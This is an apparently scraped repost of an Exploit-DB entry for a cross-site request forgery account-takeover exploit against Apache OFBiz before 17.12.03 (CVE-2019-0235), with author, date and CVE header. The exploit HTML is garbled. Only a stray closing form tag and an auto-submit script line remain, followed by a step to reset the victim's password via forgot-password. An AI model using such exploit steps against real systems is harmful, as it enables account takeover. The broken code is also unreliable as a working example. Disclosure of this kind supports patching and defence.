Apache OFBiz 17.12.03 – Cross-Site Request Forgery (Account Takeover) - 体验盒子

作者： Faiz Ahmed Zaidi

日期： 2020-05-01

类别：

webapps

平台：

java

来源：https://www.exploit-db.com/exploits/48408/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

# Exploit Title: Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover)

# Exploit Author: Faiz Ahmed Zaidi

# Vendor Homepage: [https://ofbiz.apache.org/security.html]

# Software Link: https://ofbiz.apache.org/download.html#security

# Version: Before 17.12.03

# Tested on: Linux and Windows

# CVE : CVE-2019-0235

#Exploit Code:

<html>

<body>

</form>

document.forms[0].submit();

</script>

</body>

</html>

After that do a password reset via forget password.

It's done :)